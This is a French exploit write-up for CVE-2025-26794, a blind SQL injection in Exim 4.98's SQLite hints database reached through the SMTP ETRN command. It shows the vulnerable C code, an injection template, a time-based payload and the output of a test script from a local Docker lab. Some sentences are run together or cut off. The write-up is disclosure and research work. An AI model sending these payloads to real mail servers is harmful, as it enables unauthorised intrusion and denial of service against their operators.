
CVE-2025-26794 : Injection SQL aveugle dans Exim 4.98 (SQLite DBM) - write-up d'exploit
Rapport Exim : https://www.exim.org/static/doc/security/CVE-2025-26794.txt
J'ai découvert cette vulnérabilité lors d'une revue de code manuelle.
Les paramètres SQL, lorsque SQLite est utilisé comme DBM, ne sont pas correctement assainis. Cela permet à un utilisateur distant de créer des requêtes SQLite personnalisées.
Exim utilise une base de données interne pour le stockage interne de paires clé:valeur (appelée HintsDB) qui prend en charge différents backends, définis au moment de la compilation. L'ajout le plus récent est SQLite. Elle est utilisée pour stocker :
enq_start()) pour les commandes ETRN et la livraison SMTPLe fichier affecté est hintsdb.h. Il a été déplacé dans un fichier séparé (hints_sqlite.h) dans les derniers commits. Seules les fonctions SQLite sont concernées (exemple de fonction : exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
La clé d'entrée n'est pas correctement échappée. Par conséquent, si nous parvenons à contrôler la clé, nous serons en mesure d'injecter n'importe quel code SQLite.
RFC1985 définit la commande SMTP ETRN, « par laquelle un client peut demander que le serveur commence le traitement de ses files d'attente de courrier pour les messages qui attendent sur le serveur pour la machine cliente ».
Elle s'utilise avec la commande SMTP : ETRN #domain.com.
Dans Exim, la commande ETRN définit un sémaphore dans la HintsDB pour éviter d'exécuter plusieurs commandes ETRN en parallèle.
Ce sémaphore est implémenté par la fonction enq_start(keyname, value) qui crée une nouvelle entrée dans la base de données « misc ».
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Par exemple, la commande SMTP ETRN #test.com créera une entrée temporaire dans la base de données SQLite « misc » avec la clé « etrn-#test.com » et la valeur 1.
À la fin du traitement de la commande ETRN, l'entrée de la base de données sera supprimée :
enq_end(etrn_serialize_key);
Puisque nous contrôlons la clé, nous pouvons injecter notre propre code SQL avec la commande SMTP suivante :
ETRN #',1); ## INSERT SQL HERE ## /*
Comme il n'y a pas de sortie, nous pouvons soumettre une charge utile SQLi basée sur le temps pour tester cette vulnérabilité à distance :
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE ; je suppose que nous pourrions probablement exploiter une condition de course dans Exim pour déclencher un comportement indéfini en manipulant les autres bases de données utilisées. C'est encore très hypothétique pour le moment.ETRN (et elle est assez ancienne). Je n'ai trouvé nulle part ailleurs dans le code où une entrée utilisateur est utilisée pour construire la chaîne de requête.Cela signifie que nous pourrions facilement faire un déni de service (par ex. remplir le disque), mais faire évoluer cela vers une exécution de code à distance demanderait plus de travail, mais pourrait être possible.
Voici un laboratoire Docker local pour aider à reproduire cette vulnérabilité.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh construira et vous connectera au conteneurbash start-exim.sh pour démarrer le serveur eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorJ'ai développé un script test.py pour tester cette vulnérabilité à distance.
python3 docker_lab/test.py <host>
Exemple :
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable